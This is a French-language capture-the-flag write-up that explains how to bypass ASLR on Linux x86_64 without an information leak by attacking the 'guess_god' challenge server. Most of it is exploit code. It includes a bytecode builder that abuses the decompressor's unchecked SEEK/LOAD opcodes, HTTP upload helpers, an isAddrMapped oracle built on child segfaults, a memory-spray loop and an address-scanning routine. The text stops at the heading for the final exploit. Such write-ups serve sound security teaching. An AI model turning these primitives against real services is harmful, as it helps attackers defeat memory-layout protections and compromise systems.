
ASLR bypass without infoleak
Dans cet article, je vais discuter de l'application de la technique décrite par Samuel Groß dans son Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass, afin de contourner l'ASLR sur Linux x86_64.
Pour illustrer cela, je vais résoudre un défi pwnable du Buckeye CTF, guess_god.
Je vais essayer de garder le contenu aussi accessible que possible aux débutants, alors n'hésitez pas à sauter toute section si vous vous sentez assez confiant et que vous voulez juste voir l'exploit.

Je n'ai pas joué au CTF, mais je me suis intéressé au défi environ 2 heures avant la fin du CTF grâce à Guray00, qui demandait de l'aide sur le discord de fibonhack à propos de manigances cryptographiques.
Je n'ai pas pu l'aider, mais j'ai jeté un œil aux défis pwnable, et j'ai pensé que ce serait bien de comprendre le blogpost de P0 et, avec un peu de chance, d'obtenir cette prime.
Address Space Layout Randomization (ASLR) est une technique de sécurité informatique qui consiste à positionner de manière aléatoire l'adresse de base d'un exécutable ainsi que la position des bibliothèques, du tas et de la pile, dans l'espace d'adressage d'un processus.
Sur Linux, vous pouvez inspecter les mappings d'un processus à partir de son pid via procfs, en lisant le fichier /proc/<pid>/maps.
Si vous êtes un processus et que vous voulez connaître vos propres mappings mémoire, vous pouvez lire /proc/self/maps.
Par exemple, vous pouvez essayer de lire /proc/self/maps avec cat :```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps
55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat
55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat
55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat
55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat
55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat
55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap]
7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0
7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0
7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack]
7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar]
7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
### Schémas de mappages mémoire
Si vous faites cela quelques fois, vous pourriez en déduire que :
* La base PIE du binaire devrait se trouver dans la plage 0x00005500_00000000-0x00005700_00000000, ce qui signifie 2 To d'adresses possibles.
* Le tas est proche du binaire.
* Les bibliothèques se situent dans la plage 0x00007f00_00000000 - 0x00007fff_ffffffff, soit 1 To d'adresses possibles.
* La pile se trouve \(la plupart du temps\) dans la plage 0x00007ffc_00000000 - 0x00007fff_ffffffff, soit 16 Go d'adresses possibles.
* La plage 0xffffffffff600000 - 0xffffffffff601000 est toujours mappée, vous pouvez lire [cet article](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) si vous êtes curieux de savoir ce que c'est.
## 1.3 Comment contourner l'ASLR sans fuite d'informations
Voyons ce que vous pouvez faire pour contourner l'ASLR lorsqu'aucune fuite d'informations n'est possible.
Ceci est ma tentative de résumer ce que j'ai retenu de la lecture du billet de blog de Saelo.
Pour contourner l'ASLR, vous avez besoin de :
* Une technique de memory spraying, qui vous permet de mapper une mémoire contiguë d'une taille donnée, sur une plage d'adresses donnée.
Comme il le dit, il y a deux façons de procéder :
1. En abusant d'une fuite mémoire (pas une fuite d'informations !), un bug dans lequel un bloc de mémoire est « oublié » et jamais libéré, et en le déclenchant plusieurs fois jusqu'à ce que la quantité de mémoire souhaitée ait été fuite.
2. En trouvant et en abusant d'un « gadget d'amplification » : un morceau de code qui prend un bloc de données existant et le copie, potentiellement plusieurs fois, permettant ainsi à l'attaquant de pulvériser une grande quantité de mémoire en n'envoyant qu'un nombre relativement restreint d'octets.
* Un oracle `isAddressMapped`, qui, étant donnée une adresse, vous indique si oui ou non cette adresse est mappée.
### PoC de contournement de l'ASLR sur Linux
Essayons de reproduire la PoC de saelo pour casser complètement l'ASLR sur Linux.
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> la PoC de saelo</i> <p/> <br/>
Sur Linux, ce n'est pas si facile : il n'est possible de casser complètement l'ASLR que si vous êtes capable d'allouer 16 To de mémoire.```C
#include <stdio.h>
#include <stdlib.h>
int main()
{
// 64gb
size_t size = 0x1000000000;
// 16TB allocations
for (int i = 0; i < 256; i++) {
void *mem = malloc(size); // this ends up calling mmap
if (!mem) {
puts("Failed");
return 1;
}
printf("%p\n", mem);
}
unsigned int *mem = (void*)0x7f0000000000ULL;
*mem = 0x41414141;
printf("R/W to %p: %x\n", mem, *mem);
return 0;
}
D'après les notes de man malloc :
Donc void *mem = malloc(size) finira par appeler mmap(size + malloc_metadata_size, ...)
Comme les bibliothèques sont mappées dans le processus via mmap par ld, ces allocations finiront près des bibliothèques.
Si vous examinez les adresses renvoyées par malloc, vous comprendrez mieux ce qui se passe. Astuce : regardez les octets de poids fort.
Le PoC exploite le fait qu'à un moment donné, l'octet de poids fort de l'adresse renvoyée passe de 7F à 7E et, comme les allocations sont contiguës, il doit y avoir quelque chose dans cette plage. (Oui, nous appliquons le théorème de Bolzano-Weirstress pour résoudre ce problème !)
Grâce à l'auteur, le zip contient les binaires, le code source et le dockerfile pour reproduire le même environnement que celui du serveur distant.

C'est toujours une bonne chose de se familiariser avec l'environnement ; parcourons les fichiers et prenons quelques notes.
Compiler et installer oatpp 1.2.5, il y a peut-être des bugs utiles dans cette version spécifique ?
# Install oatpp
RUN git clone https://github.com/oatpp/oatpp.git
RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
Il compile le challenge à partir de zéro
WORKDIR /home/ctf/challenge/src/
RUN mkdir -p src/build && cd src/build && cmake .. && make
RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt / home/ ctf/challenge/
Cela pourrait poser problème, alors copions plutôt les binaires distribués.
COPY bins/flag_server-exe /home/ctf/challenge/
COPY bins/libkylezip.so /home/ctf/challenge/

Le fichier docker-compose.yml est fourni, il n'est donc pas difficile d'obtenir un environnement local fonctionnel à sonder. Pour ceux qui ne sont pas à l'aise avec Docker, voici la liste des commandes à connaître pour sonder le challenge localement.```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container
docker ps # list containers docker exec -it # exec COMMAND into the container
Après avoir fait `docker-compose build`, vous pouvez exécuter `docker-compose up` pour démarrer le conteneur, et vous connecter au challenge avec `nc 127.0.0.1 9000`
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/>
# 3. Analyse du code source
Maintenant que nous avons quelques connaissances de base sur ce qu'il faut faire pour contourner l'ASLR, regardons le code source, en gardant à l'esprit que nous voulons :
* un moyen de faire un spray mémoire dans des plages de mémoire connues
* un oracle isAddrMapped
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> Dossier du code source </i><p/>
C'est surtout du code de liaison (glue code) pour faire fonctionner un serveur web oatpp ; en fait, les fichiers importants que nous allons analyser sont :
* src/controller/MyController.*
* kylezip/decompress.*
## 3.1 MyController.*
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/>
Il y a 3 endpoints :
* `/`
* `GET /files/{fileId}` -> Télécharger un fichier précédemment uploadé, si extract est vrai, l'extraire avant de le télécharger.
* `POST /upload/{fileId}` -> Téléverser un fichier pour un {fileId} donné.
Et une fonction implémentée dans `MyController.cpp````C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract)
ce qui :
Définissez to_open sur {file_id} ou {file_id}.unkyle ```C
std::ostringstream comp_fname;
comp_fname << filename;
if (extract) {
// Want the un-kylezip-d version
comp_fname << ".unkyle";
}
auto to_open = comp_fname.str();
Si c'est la première fois que nous demandons l'extraction de {file_id}, alors il appelle decompress dessus,
ce qui écrira le fichier décompressé de {file_id} dans {file_id}.unkyle. ```C
int fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
if (!extract) return NULL;
/* Need to create decompressed version of file
* Kyle gave me a buggy library so we are going to fork
* in case we crash the web server will still stay up.
*/
pid_t p = fork();
if (p == 0) {
decompress(filename);
exit(0);
} else {
waitpid(p, NULL, 0);
}
fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
return NULL;
}
}
Enfin, mmap le résultat en mémoire. ```C
struct stat sb;
fork() crée un nouveau processus en dupliquant le processus appelant ; au moment de fork(), les deux espaces mémoire ont le même contenu.
Donc si nous parvenons à transformer decompress() en un oracle qui :
Nous pourrions utiliser cette primitive pour déduire l'espace mémoire du parent.
Il y a un appel à mmap dans le processus parent : ```C
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
si nous pouvons contrôler sb.st_size, qui est la taille du fichier décompressé, nous pourrions facilement en faire une primitive de memory spraying.
int decompress(const char *fname)
* Mappe le fichier d'entrée à l'adresse `0x42069000000`.
* Mappe le fichier de sortie à l'adresse `0x13371337000`.
* Appelle do_decompress() qui effectue la décompression.
Le fichier est attendu au format suivant :
| offset | nom | type | description |
| - | - | - | - |
| +0h | magic | uint64 | une valeur magique, elle doit être 0x0123456789abcdef |
| +8h | filesize | uint64 | taille du fichier décompressé |
### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)
Vous pouvez considérer cette fonction comme une simple machine virtuelle, qui exécute le bytecode pointé par in et écrit la sortie dans le tampon pointé par out.
in pointe vers notre {file_id}.
out pointe vers {file_id.unkyle}.
Cette VM possède 4 opcodes :
0 -> NOP
1 -> STORE(u8 b)
écrit b dans out, incrémente out de 1.
Implémentation de l'opcode : ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }
2 -> SEEK(u64 off)
définit out à out + off.
out et off sont des valeurs 64 bits, donc out = out+off est équivalent à out = (out+off) % MAX_64BIT_VALUE, c'est ce qu'on appelle un débordement d'entier et nous pouvons exploiter ce comportement pour atteindre n'importe quelle valeur 64 bits. Exemple : ```py
M64 = (1<<64) # Maximum 64bit value
def get_off(out: int, target: int):
return (target-out) % M64
Implémentation de l'opcode: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }
* 3 -> LOAD(off, size).
Copiez `size` octets de `out - off` vers `out`, incrémentez `out` de 8.
Implémentation de l'opcode: ```C
case 3: {
// Copy some previously written bytes
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
uint64_t count = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
memcpy(out, out-off, count);
out += count;
break;
}
Il n'y a pas de contrôle des limites dans aucune des opérations, ce qui nous donne 2 primitives utiles :
SEEK+LOADSEEK+STOREJ'ai utilisé ce code pour construire le bytecode :```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1
class CompressedFile(): slots = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00'
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b
self.cur += 2
self.out += 1
def seek(self, off):
self.content += b'\x02'
self.content += p64(off)
self.cur += 9
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03'
self.content += p64(off)
self.content += p64(count)
self.cur += 17
# 4. Interagir avec le binaire
Avant de passer à la phase d'exploitation, il est toujours bon de construire quelque chose qui vous permette d'interagir facilement avec le binaire, afin d'éviter de perdre du temps.```py
import requests
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
Cela m'a été très important lorsque j'essayais de résoudre le challenge : j'ai passé beaucoup de temps à regarder les mappings mémoire.
Pour ce faire, vous pouvez lancer une instance locale du challenge et lire les mappings mémoire du processus après avoir effectué quelques opérations.

On nous donne une primitive de lecture read-what-where, donc construire un oracle isAddressMapped n'est pas difficile du tout.
Voici comment j'ai procédé : construire ce bytecode :
memcpy(out, targetAddress, 1)write(b'A')Si targetAddress n'est pas mappée, le programme enfant fait un segfault sur memcpy, ce qui nous donne un fichier décompressé rempli d'octets nuls.
Si targetAddress est mappée, le fichier décompressé contient un b'\x41' comme deuxième octet.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')
uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41
return isMapped
## 4.3 Primitive de spray mémoire
Nous pouvons contrôler entièrement la taille du fichier décompressé, et nous obtenons un mmap de cette taille dans [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/dist-guess-god/src/src/controller/MyController.cpp#L62).
Dans mon exploit, j'ai utilisé la fonction `isAddrMapped`, et modifié le filelen.
Par exemple, essayons d'allouer un bloc contigu de taille = 0x4000000 = 64 Mo```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
Voilà le résultat:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...
Si vous essayez de le refaire :```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)
Voilà le résultat :``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
Génial ! Les allocations multiples n'auront pas de trous.
## 4.4 Quelle quantité de mémoire sprayer ?
Comme vous pouvez le voir dans [ce poc](#poc-of-aslr-bypass-on-linux), la taille idéale pour la mémoire mappée contiguë serait de 16 To.
Malheureusement, si vous essayez d'allouer 16 To de mémoire sur le serveur distant, le mmap échouera, car [nsjail limite cela](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).
Après quelques essais et erreurs, j'ai découvert que je peux sprayer ~3840 Mo de mémoire, avec ce code :```py
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
isAddrMapped(IN_ADDR, i, size)
les mappages mémoire résultants ressembleront à ceci :
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps
... My spray: ...
7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle
7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle
7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle
7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle
7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle
7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle
7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle
7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle
7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle
7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle
7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle
7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle
7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle
7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle
7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle
7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle
7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle
7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle
7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle
7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle
7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle
7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle
7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle
7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle
7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle
7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle
7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle
7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle
7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle
7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle
7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle
7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle
7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle
7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle
7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle
7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle
7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle
7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle
7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle
7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle
7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle
7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle
7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle
7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle
7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle
7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle
7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle
7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle
7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle
7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0
7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0
7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle
7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle
7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle
7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle
7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle
7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle
7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle
7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle
7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle
7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle
7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0
7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0
... Libraries: ...
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
...
Concentrons notre attention sur les adresses créées avec la pulvérisation de mémoire. \(fichiers *.unkyle \)
Nous pouvons essayer d'appliquer l'[astuce de franchissement de limite](#Boundary-cross-trick).
| mem | franchissement de limite 4gb ?
| - |-
| 7fe2dc000000 | Non
| 7fe2e0000000 | Non
| 7fe2e4000000 | Non
| 7fe2e8000000 | Non
| 7fe2ec000000 | Non
| 7fe2f0000000 | Non
| 7fe2f4000000 | Non
| 7fe2f8000000 | Non
| 7fe2fc000000 | Non
| 7fe300000000 | Oui
| 7fe304000000 | Oui
| 7fe308000000 | Oui
En exploitant le passage de 7fe2.. à 7fe3.., nous pouvons scanner la mémoire avec un pas de 0x100000000 = 4gb de mémoire.
## 4.5 Vaincre enfin l'ASLR
Compte tenu de cette taille de pas, nous pouvons scanner de `start=0x7f0000000000` à `end=0x800000000000` avec seulement `end - start / size` = 256 requêtes.```py
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
À ce stade, nous avons leakAddr qui est une adresse mappée comme ceci : 0x7fXX00000000, dans ce cas, leakAddr = 0x7fe300000000.
Maintenant, si nous voulons suivre la technique de saelo, nous devrions effectuer une recherche binaire sur la plage 0x7fXX00000000 - 0x7fXXffffffff, afin de trouver les bornes inférieure et supérieure ; le problème est qu'il y a des trous dans cette plage, donc la recherche binaire échoue très souvent.
Vous pouvez vérifier par vous-même avec ce script :``` RANGE SIZE
0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000
Ce petit écart entre 0x00007f763c000000 et 0x00007f763ccaa000 perturbe la recherche binaire, bien sûr c'est toujours faisable, mais j'ai trouvé une manière plus simple.
### Observation
Nous voulons obtenir la dernière adresse mappée, car c'est là que les bibliothèques sont mappées.
Par exemple, étant donné ces mappages pour les bibliothèques :```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
Nous pouvons rechercher l'adresse 7fe3d6a5b000 - 0x1000 avec cette astuce :
lastMappedPage = 0x7fe3d6a5a000
Nous testons par force brute un demi-octet à la fois, pour un pire scénario de 165 = 80 requêtes.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")
lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")
## 4.6 L'exploit
